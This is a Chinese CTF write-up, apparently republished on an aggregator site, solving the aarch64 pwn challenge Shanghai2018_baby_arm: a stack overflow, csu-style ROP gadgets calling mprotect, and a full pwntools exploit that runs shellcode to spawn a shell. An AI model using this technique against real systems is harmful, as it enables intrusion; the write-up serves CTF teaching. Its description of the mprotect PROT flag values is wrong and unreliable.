IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 嵌入式 -> ARM PWN:Shanghai2018_baby_arm详细讲解 -> 正文阅读

[嵌入式]ARM PWN:Shanghai2018_baby_arm详细讲解

前言

这是一道aarch64的PWN题目,依然觉得和x86没什么太大的区别,aarch64程序中也存在类似x86下csu_init的gadget。有区别的地方在于aarch64寄存器和汇编指令集,如果x86汇编指令集比较熟悉的话,找一篇关于aarch64的,看一看就很容易理解了

文章结尾有往期文章链接哟!编写不易,如果能够帮助到你,希望能够点赞收藏加关注哦Thanks?(・ω・)ノ

Shanghai2018_baby_arm

检查程序

首先我们来检查一下程序的属性

在这里插入图片描述

可以看到这是一个64位动态链接的aarch64程序,接下来看一下程序的保护机制:

在这里插入图片描述

可以看到只开启了NX保护,影响不大

运行一下程序

我们来用qemu启动一下程序,看一看主要有哪些功能,有几处可以输入的点。启动aarch64的环境在 ubuntu20.04 PWN(含x86、ARM、MIPS)环境搭建这篇文章中有详细安装教程,这里就不多介绍了

在这里插入图片描述

可以看到程序具有两处输入点,第一处需要输入名字,第二处随便输入点什么都可以。程序执行流程比较简单,那么接下来就扔进ida查看一下

静态分析

main()函数

在这里插入图片描述

可以看到main()函数中的执行流程非常的简单,首先进行初始化操作,然后输出了一个“Name”提示,然后调用read()函数向input变量中写入512个字节。可以看到input变量是存放在bss段的,地址为0x411068,最后调用了sub_4007F0()函数

sub_4007F0()函数

在这里插入图片描述

sub_4007F0()函数中也是非常简单的,仅仅只是一个向栈中写数据的操作。但是这里存在一个问题,我们双击v0,可以看到v0开拓的栈空间只有0x48,但是read()函数允许向这块栈空间输入512个字节,这就造成了栈溢出

mprotect()函数

在这里插入图片描述

中奖了!程序中有mprotect()函数,mprotect()函数可以用来修改一段指定内存区域的保护属性,函数原型为:

int mprotect(const void *start, size_t len, int prot);
  • 一参addr:修改保护属性区域的起始地址
  • 二参len:被修改保护属性区域的长度
  • 三参prot:可以取以下几个值,并且可以用“|”将几个属性合起来使用:
    • PROT_READ:表示内存段内的内容可写(二进制:0,1,0,十进制:2
    • PROT_WRITE:表示内存段内的内容可读(二进制:1,2,0,十进制:4
    • PROT_EXEC:表示内存段中的内容可执行(二进制:0,0,1,十进制:1
    • PROT_NONE:表示内存段中的内容根本没法访问(二进制:0,0,0,十进制:0)

三参prot一般可以直接给可读可写可执行权限,二进制为1,1,1,十进制7

sub_400868()函数

在这里插入图片描述

仔细看sub_400868()这个函数的后半部分,是不是有一种很熟悉的感觉,是不是和x86架构64位程序中的csu_init!!!!!但是并非完全一样,但是也可以向csu_init一样分成两部分gadget来看:

.text:00000000004008CC loc_4008CC       ; CODE XREF: sub_400868+3C↑j
.text:00000000004008CC   LDP   X19, X20, [SP,#0x10] ; 将sp+0x10处数据给x19,sp+0x18处数据给0x20
.text:00000000004008D0   LDP   X21, X22, [SP,#0x20] ; 将sp+0x20处数据给x21,sp+0x28处数据给0x22
.text:00000000004008D4   LDP   X23, X24, [SP,#0x30] ; 将sp+0x300处数据给x23,sp+0x38处数据给0x24
.text:00000000004008D8   LDP   X29, X30, [SP],#0x40 ; 将sp处数据给x29,sp+0x8处数据给0x30
.text:00000000004008DC   RET   ; 返回x30寄存器中存放的地址

第一段gadget:0x4008CC ~ 4008DC(后记csu_down)

csu_down的作用主要是为了从栈上X19-X30寄存器中赋值,最后RET返回X30寄存器中存放的地址。每条汇编指令对应注释已经在上面说明了,这里就不再一一介绍了。需要注意的是X29寄存器和X30寄存器虽然是最后赋值的,但是是从栈顶SP与SP+8处取值的!!!这里一定要注意

.text:00000000004008AC loc_4008AC       ; CODE XREF: sub_400868+60↓j
.text:00000000004008AC   LDR    X3, [X21,X19,LSL#3] ; 将x21寄存器中的值赋给x3(存放函数地址)
.text:00000000004008B0   MOV    X2, X22 ; 将x22寄存器中的值赋给x2(部署3参)
.text:00000000004008B4   MOV    X1, X23 ; 将x23寄存器中的值赋给x1(部署2参)
.text:00000000004008B8   MOV    W0, W24 ; 将w24寄存器中的值赋给w0(部署1参)
.text:00000000004008BC   ADD    X19, X19, #1 ; x19寄存器中的值加一
.text:00000000004008C0   BLR    X3      ; 跳转至x3寄存器中存放的地址
.text:00000000004008C4   CMP    X19, X20 ; 比较x19寄存器与x20寄存器中的值
.text:00000000004008C8   B.NE   loc_4008AC ; 将x21寄存器中的值赋给x3(存放函数地址)

第二段gadget:0x4008AC ~ 0x4008C8后接csu_down(后记csu_up)

csu_up主要的功能时从X21、X22、X23、X24寄存器分别向X3、X2、X1、X0中赋值,其中X0、X1、X2三个寄存器常用来存放函数的前三个参数。接下来会将X19寄存器中的数值+1后,直接强制跳转至X3寄存器中存放的地址,这里其实是可以当做一个ret来使用的。接着回去比较X19与X20寄存器中的数值,如果相等则不跳转,如果不想等则重新执行csu_up。因此如果想要继续执行接下来代码的话,就需要实现在csu_down中部署好X19与X20寄存器中的数值

思路分析

通过前面静态分析阶段,我们搜集到如下可用信息:

1、程序开启了NX保护
2、程序第一处输入点会向bss段写数据,写入起始地址为0x411068
3、程序第二处输入点存在栈溢出
4、程序中存在mprotect()函数
5、程序中存在类似csu_init的可用gadget:csu_down(0x4008CC)与csu_up(0x4008AC)

通过搜集的信息,我们大致的思路就有了:

  • 因为开启了NX保护,所以无法在栈中部署shellcode。但是可以将shellcode写入bss段
  • 利用栈溢出执行csu_down与csu_up,部署mprotect()函数参数,使得shellcode区域获得可执行权限
  • 最后返回至shellcode存放地址,执行拿shell

构造EXP

计算缓冲区大小

虽然前面静态分析阶段已经知道栈空间的大小了,这里只是演示一下使用gdb动态调试时怎么计算缓冲区大小。首先使用qemu-aarch64启动程序这里需要使用-L参数指定/usr/aarch64-linux-gnu/,具体的环境在前面ubuntu20.04 PWN(含x86、ARM、MIPS)环境搭建这篇文章汇总已经说明了。在使用-g参数开启本地1212端口等待gdb-multiarch链接调试:

在这里插入图片描述

接下来新开窗口启动gdb-multiarch,并设置架构为aarch64,链接本地1212端口,cyclic创建200个字符串,按c继续执行程序:

在这里插入图片描述(上图经过拼接,正常不报错且显示寄存器与汇编指令)

回到qemu窗口,在第二处输入点输入cyclic创建的200个字符,回车

在这里插入图片描述

这个时候可以看到,gdb-multiarch窗口程序已经在0x61617461616173发生了中断

在这里插入图片描述

这里需要注意的是由于cyclic的-l参数只能支持4字节十六进制数,但是这是一个64位程序,程序中断会出现8字节十六进制数,因此在计算的时候我们需要计算低4字节的数据0x61616173,可以看到缓冲区的长度overlen=72,即0x48。与静态分析阶段得出结果一致

部署shellcode

部署shellcode这个步骤很简单,我们只需要在程序启动后再第一个输入点输入pwntools自动生成的shellcode就可以了,需要注意的是为了后续使用csu_up与csu_down方便调用mprotect()函数,我们需要将mprotect()函数的plt地址连同shellcode一起写入bss段:

mprotect_plt = elf.plt['mprotect']
csu_down = 0x4008CC
csu_up = 0x4008AC
overlen = 72  #缓冲区长度
save_mprotect = 0x411068 #写入mprotect_plt位置,即input变量在bss段的起始地址
save_shellcode = 0x411068 + 0x8 #写入shellcode的位置,在mprotect_plt之后,所以加上一个0x8
shellcode = asm(shellcraft.aarch64.sh()) #pwntools生成shellcode

payload1 = p64(mprotect_plt) + shellcode #先写mprotect_plt,在写shellcode
hollk.sendafter('Name:',payload1)

部署ROP

接下来就到了重要的部署mprotect参数的步骤了,这里就需要配合着csu_downcsu_up部署栈中数据了:

在这里插入图片描述

这里画了一张栈图来帮助理解,首先我们使用72个字母a来填满缓冲区,接下来使用csu_down覆盖至ret返回位置并执行,下面重新把csu_down的部分拿出来对比着看:

.text:00000000004008CC loc_4008CC       ; CODE XREF: sub_400868+3C↑j
.text:00000000004008CC   LDP   X19, X20, [SP,#0x10] ; 将sp+0x10处数据给x19,sp+0x18处数据给0x20
.text:00000000004008D0   LDP   X21, X22, [SP,#0x20] ; 将sp+0x20处数据给x21,sp+0x28处数据给0x22
.text:00000000004008D4   LDP   X23, X24, [SP,#0x30] ; 将sp+0x300处数据给x23,sp+0x38处数据给0x24
.text:00000000004008D8   LDP   X29, X30, [SP],#0x40 ; 将sp处数据给x29,sp+0x8处数据给0x30
.text:00000000004008DC   RET   ; 返回x30寄存器中存放的地址
  • "hollkpwn"字符串放在x29寄存器中进行占位
  • csu_up地址放在x30寄存器中等待最后返回执行csu_up
  • 0x0放在x19寄存器中等待csu_up中+1与x20比较
  • 0x1放在x20寄存器中等待csu_up中与x19比较
  • 将存放mprotect()函数的bss段地址放在x21寄存器中等待在csu_up中赋值给x3寄存器
  • 0x7作为mprotect()函数第三个参数放在x22寄存器中等待在csu_up中赋值给x2
  • 0x1000作为mprotect()函数第二个参数放在x23寄存器中等待在csu_up中赋值给x1
  • 将存放shellcode的bss段地址作为mprotect()函数第一个参数放在x24寄存器中等待在csu_up中赋值给w0

此时重要寄存器中状态如下:

寄存器作用
x19寄存器0x0等待+1后与x20寄存器中的值比较
x20寄存器0x1等待与x19寄存器中的值比较
x21寄存器save_mprotect_addr等待赋值给x3寄存器进行跳转,执行mprotect()函数
x22寄存器0x7作为mprotect()函数三参赋值给x2寄存器
x23寄存器0x1000作为mprotect()函数二参赋值给x1寄存器
x24寄存器save_shellcode_addr作为mprotect()函数一参赋值给x0寄存器
x29寄存器“hollkpwn”占位
x30寄存器csu_up等待跳转执行

由于x30寄存器中存放的是csu_up,所以在csu_down结尾ret返回后执行csu_up,下面重新把csu_down的部分拿出来对比着看:

.text:00000000004008AC loc_4008AC       ; CODE XREF: sub_400868+60↓j
.text:00000000004008AC   LDR    X3, [X21,X19,LSL#3] ; 将x21寄存器中的值赋给x3(存放函数地址)
.text:00000000004008B0   MOV    X2, X22 ; 将x22寄存器中的值赋给x2(部署3参)
.text:00000000004008B4   MOV    X1, X23 ; 将x23寄存器中的值赋给x1(部署2参)
.text:00000000004008B8   MOV    W0, W24 ; 将w24寄存器中的值赋给w0(部署1参)
.text:00000000004008BC   ADD    X19, X19, #1 ; x19寄存器中的值加一
.text:00000000004008C0   BLR    X3      ; 跳转至x3寄存器中存放的地址
.text:00000000004008C4   CMP    X19, X20 ; 比较x19寄存器与x20寄存器中的值
.text:00000000004008C8   B.NE   loc_4008AC ; 将x21寄存器中的值赋给x3(存放函数地址)
  • x21寄存器中的mprotect()函数存放地址赋值给x3寄存器中
  • x22寄存器中的mprotect()函数三参0x7放在x2寄存器中
  • x23寄存器中的mprotect()函数二参0x1000放在x1寄存器中
  • x24寄存器中的mprotect()函数一参shellcode起始地址放在x0寄存器中
  • 跳转值x3寄存器执行mprotect(shellcode_addr, 0x1000, 0x7),将shellcode起始至0x1000偏移范围内赋予可读可写可执行权限
  • x19寄存器中的值此时为0x0,+1后变为0x1
  • x20寄存器中的值为0x1,与此时x19寄存器中的值0x1进行对比
  • 对比相同不进行跳转

此时重要寄存器中状态如下:

寄存器作用
x0save_shellcode_addrmprotect()函数一参
x10x1000mprotect()函数二参
x20x7mprotect()函数三参
x3save_mprotect_addr等待跳转执行mprotect()函数

此时已经成功将shellcode所在区域赋予可读可写可执行权限了,接下来csu_up由于不进行跳转,会重新回到csu_down中。那么接下来就会不断地从栈顶sp+0x10 ~ sp+0x38位置取值放在x19 ~ x24寄存器中,因为后续的过程不再需要x19 ~ x24了,所以任由栈上的废数据压就可以了。不过接下来会从栈顶spsp+0x8的位置取值放在x29、x30寄存器中,这里就不能压废数据了,因为需要在x30寄存器中部署shellcode地址,所以接着前面的payload在sp位置放置"hollkpwn"给x29寄存器占位,sp+0x8位置放shellcode存放地址给x30寄存器

此时重要寄存器种状态如下:

寄存器作用
x29hollkpwn占位
x30shellcode_addr等待返回执行shellcode

因此payload构造如下:

payload2 =  b'a'*overlen + p64(csu_down)
payload2 += b'hollkpwn' + p64(csu_up) + p64(0) + p64(1)
payload2 += p64(save_mprotect) + p64(0x7) + p64(0x1000) + p64(save_shellcode)
payload2 += b'hollkpwn' + p64(save_shellcode)

最后直接在第二处输入点输入payload2即可拿shell喽!!!!

EXP

  1 from pwn import *
  2 
  3 hollk = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./pwn"])
  4 elf = ELF('./pwn')
  5 context.log_level = "debug"
  6 context.arch = 'aarch64'
  7 context.os = "linux"
  8 
  9 mprotect_plt = elf.plt['mprotect']
 10 csu_down = 0x4008CC
 11 csu_up = 0x4008AC
 12 overlen = 72
 13 save_mprotect = 0x411068
 14 save_shellcode = 0x411068 + 0x8
 15 shellcode = asm(shellcraft.aarch64.sh())
 16 
 17 payload1 = p64(mprotect_plt) + shellcode
 18 hollk.sendafter('Name:',payload1)
 19 
 20 payload2 = b'a'*overlen + p64(csu_down)
 21 payload2 += b'hollkpwn' + p64(csu_up) + p64(0) + p64(1)
 22 payload2 += p64(save_mprotect) + p64(0x7) + p64(0x1000) + p64(save_shellcode)
 23 payload2 += b'hollkpwn' + p64(save_shellcode)
 24 
 25 hollk.send(payload2)
 26 
 27 hollk.interactive()

执行结果

在这里插入图片描述

往期回顾

ARM PWN:Codegate2018_Melong详细讲解
通过一道ARM PWN题引发的思考:jarvisOJ_typo
ubuntu20.04 PWN(含x86、ARM、MIPS)环境搭建
好好说话之House Of Einherjar
(补题)HITCON 2018 PWN baby_tcache超详细讲解
好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc
(补题)LCTF2018 PWN easy_heap超详细讲解
好好说话之Tcache Attack(3):tcache stashing unlink attack
好好说话之Tcache Attack(2):tcache dup与tcache house of spirit
好好说话之Tcache Attack(1):tcache基础与tcache poisoning
好好说话之Large Bin Attack
好好说话之Unsorted Bin Attack
好好说话之Fastbin Attack(4):Arbitrary Alloc
(补题)2015 9447 CTF : Search Engine
好好说话之Fastbin Attack(3):Alloc to Stack
好好说话之Fastbin Attack(2):House Of Spirit
好好说话之Fastbin Attack(1):Fastbin Double Free
好好说话之Use After Free
好好说话之unlink

在这里插入图片描述

  嵌入式 最新文章
基于高精度单片机开发红外测温仪方案
89C51单片机与DAC0832
基于51单片机宠物自动投料喂食器控制系统仿
《痞子衡嵌入式半月刊》 第 68 期
多思计组实验实验七 简单模型机实验
CSC7720
启明智显分享| ESP32学习笔记参考--PWM(脉冲
STM32初探
STM32 总结
【STM32】CubeMX例程四---定时器中断(附工
上一篇文章      下一篇文章      查看所有文章
加:2021-07-07 21:19:16  更:2021-07-07 21:19:28 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/4 22:20:15-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码